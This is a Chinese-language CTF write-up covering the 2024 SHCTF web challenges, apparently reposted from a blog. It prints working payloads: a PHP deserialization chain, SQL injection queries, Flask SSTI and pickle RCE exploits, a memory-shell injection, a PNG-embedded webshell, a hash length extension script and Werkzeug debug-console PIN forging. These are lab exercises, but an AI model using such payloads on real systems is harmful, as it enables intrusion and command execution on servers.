0


2024-SHCTF Web WP

[Week1] 1zflask

按照提示访问 robots.txt,访问 /s3recttt 得到一个 python 文件

在 api 路由传参,直接执行命令得到 flag

  1. @app.route('/api')
  2. def api():
  3. cmd = request.args.get('SSHCTFF', 'ls /')
  4. result = os.popen(cmd).read()
  5. return result

[Week1] MD5 Master

  1. <?php
  2. highlight_file(__file__);
  3. $master = "MD5 master!";
  4. if(isset($_POST["master1"]) && isset($_POST["master2"])){
  5. if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
  6. echo $master . "<br>";
  7. echo file_get_contents('/flag');
  8. }
  9. }
  10. else{
  11. die("master? <br>");
  12. }

md5强碰撞,但是限制了前面一部分的字符串,不能使用现成的payload了,这里使用fastcoll生成

  1. fastcoll_v1.0.0.5.exe -p test.txt -o 1.txt 2.txt
  2. test.txt
  3. MD5 master!

将生成的两个文本文件url编码一下,利用 burp 传参即可

[Week1] ez_gittt

git 泄露,和 basectf 那道几乎一模一样

先使用 githacker 将 .git 目录拉下来,再查看历史命令看到添加 flag 的操作

git checkout 命令恢复到当时的操作,恢复后即可看到 flag

[Week1] jvav

让 AI 写个脚本即可得到 flag

  1. import java.io.BufferedReader;
  2. import java.io.InputStreamReader;
  3. public class demo {
  4. public static void main(String[] args) {
  5. try {
  6. // 创建一个ProcessBuilder对象,指定要执行的命令
  7. ProcessBuilder processBuilder = new ProcessBuilder("cat", "/flag");
  8. // 启动进程
  9. Process process = processBuilder.start();
  10. // 读取命令的输出
  11. BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  12. String line;
  13. while ((line = reader.readLine()) != null) {
  14. System.out.println(line);
  15. }
  16. // 等待命令执行完成并获取退出码
  17. int exitCode = process.waitFor();
  18. System.out.println("Exit Code: " + exitCode);
  19. } catch (Exception e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }

[Week1] poppopop

首先反序列的入口都在 __destruct() 魔术方法里

然后链子是 __destruct() -> __toString() -> flag() -> __invoke()

赋值($this->isyou)($this->flag);得到 flag

  1. <?php
  2. class SH {
  3. public static $Web = false;
  4. public static $SHCTF = false;
  5. }
  6. class C {
  7. public $p;
  8. public function flag()
  9. {
  10. ($this->p)();
  11. }
  12. }
  13. class T{
  14. public $n;
  15. public function __destruct()
  16. {
  17. SH::$Web = true;
  18. echo $this->n;
  19. }
  20. }
  21. class F {
  22. public $o;
  23. public function __toString()
  24. {
  25. SH::$SHCTF = true;
  26. $this->o->flag();
  27. return "其实。。。。,";
  28. }
  29. }
  30. class SHCTF {
  31. public $isyou = "system";
  32. public $flag = "cat /flllag";
  33. public function __invoke()
  34. {
  35. if (SH::$Web) {
  36. ($this->isyou)($this->flag);
  37. echo "小丑竟是我自己呜呜呜~";
  38. } else {
  39. echo "小丑别看了!";
  40. }
  41. }
  42. }
  43. $payload = new T();
  44. $payload->n = new F();
  45. $payload->n->o = new C();
  46. $payload->n->o->p = new SHCTF();
  47. echo base64_encode(serialize($payload));
  48. # TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=

[Week1] 单身十八年的手速

翻 js 代码看到当点击次数大于 520 次时弹出一串 base64 ,解码得到 flag

[Week1] 蛐蛐?蛐蛐!

查看源码得到提示,访问得到源码

访问得到页面源码

  1. <?php
  2. if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
  3. if($_POST['ququ']!=null){
  4. $eval_param = $_POST['ququ'];
  5. if(strncmp($eval_param,'ququk1',6)===0){
  6. eval($_POST['ququ']);
  7. }else{
  8. echo("可以让fault的蛐蛐变成现实么\n");
  9. }
  10. }
  11. echo("蛐蛐成功第一步!\n");
  12. }
  13. else{
  14. echo("呜呜呜fault还是要出题");
  15. }

第一层弱比较,使用 114514a 绕过第二层需要传入的字符的前六位是 ququk1 才会执行命令,使用分号绕过进行命令执行,得到 flag

[Week2] guess_the_number

F12 得到源码

发现是伪随机数,给出了生成的第一个数,爆破随机数种子,得到第二个数

  1. @app.route('/first')
  2. def get_first_number():
  3. return str(first_num)
  4. @app.route('/guess')
  5. def verify_seed():
  6. num = request.args.get('num')
  7. if num == str(second_num):
  8. with open("/flag", "r") as file:
  9. return file.read()
  10. return "nonono"

脚本如下:

  1. import random
  2. for seed in range(1000000, 9999999):
  3. random.seed(seed)
  4. first_num = random.randint(1000000000, 9999999999)
  5. if first_num == 8650917635:
  6. print("Seed found:", seed)
  7. for _ in range(3):
  8. print(random.randint(1000000000, 9999999999))
  9. break
  10. # Seed found: 4717769
  11. # 7497985241
  12. # 9607468942
  13. # 9902613818

提交即可得到 flag

[Week2] 自助查询

查询语句已经给出了,按照要求闭合进行注入

注入语句如下:

  1. 1") order by 2
  2. 1") union select 1,database()
  3. 1") union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf"
  4. 1") union select 1,group_concat(column_name) from information_schema.columns where table_name="flag" and table_schema="ctf"
  5. 1") union select 1,group_concat(id,scretdata) from ctf.flag

此时你会发现什么都查不到,根据提示查看注释内容,得到 flag

  1. 1") UNION SELECT 1,group_concat(COLUMN_NAME, COLUMN_COMMENT) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'flag'

[Week2] 登录验证

尝试弱口令 admin 回显你不是真正的 admin

查看 jwt 爆破出密钥 222333 伪造 role 为 admin,重新加密

加密后的 jwt 放入 token,刷新即可得到 flag

[Week2] 入侵者禁入

源码如下:

  1. from flask import Flask, session, request, render_template_string
  2. app = Flask(__name__)
  3. app.secret_key = '0day_joker'
  4. @app.route('/')
  5. def index():
  6. session['role'] = {
  7. 'is_admin': 0,
  8. 'flag': 'your_flag_here'
  9. }
  10. with open(__file__, 'r') as file:
  11. code = file.read()
  12. return code
  13. @app.route('/admin')
  14. def admin_handler():
  15. try:
  16. role = session.get('role')
  17. if not isinstance(role, dict):
  18. raise Exception
  19. except Exception:
  20. return 'Without you, you are an intruder!'
  21. if role.get('is_admin') == 1:
  22. flag = role.get('flag') or 'admin'
  23. message = "Oh,I believe in you! The flag is: %s" % flag
  24. return render_template_string(message)
  25. else:
  26. return "Error: You don't have the power!"
  27. if __name__ == '__main__':
  28. app.run('0.0.0.0', port=80)

发现要检验 admin 的值为 1 并且在 flag 处存在模板注入漏洞,先伪造 admin 的值为 1, 测试注入漏洞

发现 2*2 被成功解析,于是写入命令执行代码,, 注意伪造时 flag 里的单引号需要转义,否则会匹配错误,伪造 payload 如下:

  1. python flask_session_cookie_manager3.py encode -s 0day_joker -t "{'role': {'flag': '{{config.__class__.__init__.__globals__[\'os\'].popen(\'cat /flag\').read()}}', 'is_admin': 1}}"

伪造后传入 cookie 得到 flag

[Week2] dickle(复现)

拿到源码,发现过滤了大量的模块

  1. from flask import Flask, request
  2. import pickle
  3. import base64
  4. import io
  5. BLACKLISTED_CLASSES = [
  6. 'subprocess.check_output','builtins.eval','builtins.exec',
  7. 'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
  8. 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
  9. 'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
  10. 'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
  11. 'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
  12. '__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
  13. 'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
  14. 'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
  15. 'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
  16. 'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
  17. 'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
  18. 'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
  19. 'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
  20. 'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
  21. 'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
  22. 'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
  23. 'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
  24. 'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
  25. 'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
  26. 'posixfile.fileopen'
  27. ]
  28. class SafeUnpickler(pickle.Unpickler):
  29. def find_class(self, module, name):
  30. if f"{module}.{name}" in BLACKLISTED_CLASSES:
  31. raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
  32. return super().find_class(module, name)
  33. app = Flask(__name__)
  34. @app.route("/", methods=["GET", "POST"])
  35. def index():
  36. if request.method == "POST":
  37. encoded_data = request.form["data"]
  38. decoded_data = base64.b64decode(encoded_data)
  39. try:
  40. data_stream = io.BytesIO(decoded_data)
  41. unpickler = SafeUnpickler(data_stream)
  42. result = unpickler.load()
  43. return f"Deserialized data: {list(result)}"
  44. except Exception as e:
  45. return f"Error during deserialization: {str(e)}"
  46. else:
  47. return """
  48. <form method="post">
  49. <label for="data">Enter your serialized data:</label><br>
  50. <textarea id="data" name="data"></textarea><br>
  51. <input type="submit" value="Submit">
  52. </form>
  53. """
  54. if __name__ == "__main__":
  55. app.run(port=8080)

找到一些没有过滤的命令执行函数使用

  1. import subprocess
  2. import inspect
  3. def list_module_methods(module): # 列出subprocess模块下所有函数
  4. methods = [name for name, func in inspect.getmembers(module, predicate=inspect.isfunction)]
  5. return methods
  6. subprocess_methods = list_module_methods(subprocess)
  7. BLACKLISTED_CLASSES = [] # 黑名单略----------------------------------------
  8. for method in subprocess_methods:
  9. methodTmp = f"subprocess.{method}"
  10. if methodTmp not in BLACKLISTED_CLASSES:
  11. print(method)
  12. '''
  13. 输出:
  14. _args_from_interpreter_flags
  15. _cleanup
  16. _optim_args_from_interpreter_flags
  17. _text_encoding
  18. _use_posix_spawn
  19. getoutput
  20. getstatusoutput
  21. list2cmdline
  22. run
  23. '''

发现getoutput没有被过滤,使用它进行命令执行,得到flag

  1. import pickle
  2. import base64
  3. import subprocess
  4. def execute_command(command):
  5. class Exploit(object):
  6. def __reduce__(self):
  7. return (subprocess.getoutput, (command,))
  8. payload = pickle.dumps(Exploit())
  9. encoded_payload = base64.b64encode(payload)
  10. print(encoded_payload.decode())
  11. execute_command('cat /flag')

[Week2] MD5 GOD!

源码如下:

  1. from flask import *
  2. import hashlib, os, random
  3. app = Flask(__name__)
  4. app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
  5. salt = os.urandom(16)
  6. def md5(data):
  7. return hashlib.md5(data).hexdigest().encode()
  8. def check_sign(sign, username, msg, salt):
  9. if sign == md5(salt + msg + username):
  10. return True
  11. return False
  12. def getRandom(str_length=16):
  13. """
  14. 生成一个指定长度的随机字符串
  15. """
  16. random_str =''
  17. base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  18. length =len(base_str) -1
  19. for i in range(str_length):
  20. random_str +=base_str[random.randint(0, length)]
  21. return random_str
  22. users = {}
  23. sign_users = {}
  24. @app.route("/")
  25. def index():
  26. if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
  27. return redirect("/login")
  28. sign = session.get('sign')
  29. username = session.get('username')
  30. msg = session.get('msg')
  31. if check_sign(sign, username, msg, salt):
  32. sign_users[username.decode()] = 1
  33. return "签到成功"
  34. return redirect("/login")
  35. @app.route("/login", methods=["GET", "POST"])
  36. def login():
  37. if request.method == "POST":
  38. username = request.form.get('username')
  39. password = request.form.get('password')
  40. # print(password)
  41. if username in users and users[username] == password:
  42. session["username"] = username.encode()
  43. session["msg"] = md5(salt + password.encode())
  44. session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
  45. return "登陆成功"
  46. else:
  47. return "登陆失败"
  48. else:
  49. return render_template("login.html")
  50. @app.route("/users")
  51. def user():
  52. return json.dumps(sign_users)
  53. @app.route("/flag")
  54. def flag():
  55. for user in users:
  56. if sign_users[user] != 1:
  57. return "flag{杂鱼~}"
  58. return open('/flag', 'r').read()
  59. def init():
  60. global users, sign_users
  61. for _ in range(64):
  62. username = getRandom(8)
  63. pwd = getRandom(16)
  64. users[username] = pwd
  65. sign_users[username] = 0
  66. users["student"] = "student"
  67. sign_users["student"] = 0
  68. init()

首先登陆给出的账号密码,查看 session,观察 seesion 格式

访问 users 路由查看到需要登陆的人

这是登陆的核心逻辑,salt 是随机生成的 16 个字符,密码是 salt +16 位 A-Za-z0-9,因为已经有了一个学生账号密码的 md5,想到哈希长度拓展攻击

  1. session["username"] = username.encode()
  2. session["msg"] = md5(salt + password.encode())
  3. session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())

伪造密码和签名,将伪造的数据再用 session 存储提交

提交签到成功,再次查看 /users 路由发现已经签到成功了

接下来就是改造脚本了,根据原有的 hash 拓展脚本写一个批量处理的脚本,关键代码如下,跑一下即可得到 flag

  1. import requests
  2. import os
  3. from Hashdump import HashExtAttack
  4. import ast
  5. import time
  6. url = 'http://210.44.150.15:31643/'
  7. response = requests.get(url+'users')
  8. dicts = response.text
  9. un = ast.literal_eval(dicts)
  10. print(un)
  11. for i in un:
  12. hash_ext_attack = HashExtAttack()
  13. result = hash_ext_attack.input_run('637af2ab008f0cac6a55e9201984c6bfstudent','383da15fd7e7400cf420974001bddeda',i,16)
  14. msg = result[0][:-8]
  15. sign = result[1]
  16. msg_str = repr(msg)
  17. cmd = "python flask_session_cookie_manager3.py encode -s 'Th1s_is_5ecr3t_k3y' -t \"{'msg': "+msg_str+", 'sign': b'"+sign+"', 'username': b'"+i+"'}\""
  18. proc = os.popen(cmd)
  19. output = proc.read()
  20. proc.close()
  21. cookie = {
  22. 'session':output[:-1]
  23. }
  24. headers = {
  25. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
  26. }
  27. response = requests.get(url,cookies=cookie, headers=headers)
  28. print(response.text)
  29. response = requests.get(url+'/flag')
  30. print(response.text)

[Week3] 小小cms

开源 cms,网上找到 RCE 漏洞,搜到现成的 poc,直接打,得到 flag

  1. https://github.com/wy876/POC/blob/main/YzmCMS/YzmCMS%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8pay_callback%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.md

[Week3] love_flask

源码如下:

  1. @app.route('/')
  2. def pretty_input():
  3. return render_template_string(html_template)
  4. @app.route('/namelist', methods=['GET'])
  5. def name_list():
  6. name = request.args.get('name')
  7. template = '<h1>Hi, %s.</h1>' % name
  8. rendered_string = render_template_string(template)
  9. if rendered_string:
  10. return 'Success Write your name to database'
  11. else:
  12. return 'Error'
  13. if __name__ == '__main__':
  14. app.run(port=8080)

侥幸拿了一血,审计代码,发现是模板渲染,但是没有回显,想到写内存马,如下:

  1. url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

注意需要进行模板渲染,成功写入

在写入的 shell 路由下通过参数 cmd 执行命令,得到 flag

[Week3] 拜师之旅·番外

文件上传,经测试是二次渲染绕过

网上找脚本生成二次渲染绕过的 png 图片

  1. <?php
  2. $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
  3. 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
  4. 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
  5. 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
  6. 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
  7. 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
  8. 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
  9. 0x66, 0x44, 0x50, 0x33);
  10. $img = imagecreatetruecolor(32, 32);
  11. for ($y = 0; $y < sizeof($p); $y += 3) {
  12. $r = $p[$y];
  13. $g = $p[$y+1];
  14. $b = $p[$y+2];
  15. $color = imagecolorallocate($img, $r, $g, $b);
  16. imagesetpixel($img, round($y / 3), 0, $color);
  17. }
  18. imagepng($img,'./1.png');

此脚本写入的马如下:

  1. <?=$_GET[0]($_POST[1]);?>

依次传入 0 和 1 参数即可进行命令执行,burp 抓包可得到文件里面的回显内容

[Week3] hacked_website(复现)

什么都没有,扫目录得到 www.zip,下载下来是网站源码

放入 D 盾发现第十四行存在后门,连接密码为 SH

访问后门文件提示登陆,但是我在源码里翻找和爆破均无果,看官方 wp 写的是爆破,密码是 qwer1234

虽然长度都一样,但是只有这个经历了两次 302 跳转,并且响应最小,(想不到

连接木马,命令执行,得到 flag

[Week3] 顰(复现)

这题只算出来了 pin,其他的不会了,按照官方的 wp 复现一下

先正常计算 pin 值,为 262-850-657,脚本如下:

  1. address_hex = "8e:c2:fc:b6:90:a1"
  2. print(int(address_hex.replace(":",""),16))
  3. import hashlib
  4. from itertools import chain
  5. probably_public_bits = [
  6. 'root' # /etc/passwd
  7. 'flask.app', # 默认值
  8. 'Flask', # 默认值
  9. '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
  10. ]
  11. private_bits = [
  12. '156968114622625', # /sys/class/net/eth0/address 十进制
  13. 'd45a88e1-3fe4-4156-9e59-3864587b7c87'
  14. # 字符串合并:
  15. # 1./etc/machine-id(docker不用看)
  16. # /proc/sys/kernel/random/boot_id 有boot-id那就拼接boot-id
  17. # 2. /proc/self/cgroup
  18. ]
  19. # 下面为源码里面抄的,不需要修改
  20. h = hashlib.sha1()
  21. for bit in chain(probably_public_bits, private_bits):
  22. if not bit:
  23. continue
  24. if isinstance(bit, str):
  25. bit = bit.encode('utf-8')
  26. h.update(bit)
  27. h.update(b'cookiesalt')
  28. cookie_name = '__wzd' + h.hexdigest()[:20]
  29. num = None
  30. if num is None:
  31. h.update(b'pinsalt')
  32. num = ('%09d' % int(h.hexdigest(), 16))[:9]
  33. rv = None
  34. if rv is None:
  35. for group_size in 5, 4, 3:
  36. if len(num) % group_size == 0:
  37. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  38. for x in range(0, len(num), group_size))
  39. break
  40. else:
  41. rv = num
  42. print(rv)

根据 debug 的描述,需要添加受信任的主机才能正常访问 /console 路由,开启 debug 模块,否则直接访问路由就报错

  1. https://werkzeug.palletsprojects.com/en/stable/debug/

修改 host 为 127.0.0.1 允许本地访问

此时出现了填写 pin 框的界面,但是还是不能直接输入,会提示无效

需要本地起一个 demo 看看参数,按照流程访问修改后发现会提示有几个参数

  1. from flask import Flask
  2. app = Flask(name)
  3. @app.route("/")
  4. def hello():
  5. return 'test'
  6. if name == "main":
  7. app.run(host="0.0.0.0", port=8088, debug=True)
  8. # /console?debugger=yes&cmd=pinauth&pin=531-465-652&s=0NrB2mqZqEoBViwg43DE

回到本题,s 参数就是源码给的 SECRET,pin 就是计算出来的 pin,其余参数不用变

访问可以看到 auth 为 true,也就是身份认证成功

  1. /console?__debugger__=yes&cmd=pinauth&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg

接下来获取 cookie,然后将 cookie 填入请求头,发起请求进行命令执行,得到 flag

  1. ?__debugger__=yes&cmd=open('/flag').read()&frm=0&pin=262-850-657&s=2Fp0F08Whs4ZUx5iVfRg
  2. Cookie: __wzd80daa8eeb619ef5f617f=1729835051|cae46a0790d2

week4 打不动了,太难了,估计也不会复现了,就到这里吧

DK盾

另外,给师傅们推荐一个性价比非常高的云服务器-DK 盾,适合 ctfer 的服务器!

DK盾-CTFers赞助计划已启动!

CTFers可获得DK盾赞助服务器,配置从2C2G到32H64G不等,续费仅需1元/月。

参与条件:

参与过5个以上国内CTF赛事,附上相关证明。

每月在个人技术博客上至少更新1篇原创文章(CTF技术相关),总量10篇以上。

博客底部挂有DK盾赞助标识或发布一篇推广文章。

详情请关注:

DK盾微信公众号:DK盾-CTFers赞助计划已启动!

DK盾官方QQ群:727077055

DK盾云服务器官网:林枫云

标签: 网络安全

本文转载自: https://blog.csdn.net/2301_80185313/article/details/143374588
版权归原作者 Liebert77 所有, 如有侵权,请联系我们删除。

“2024-SHCTF Web WP”的评论:

还没有评论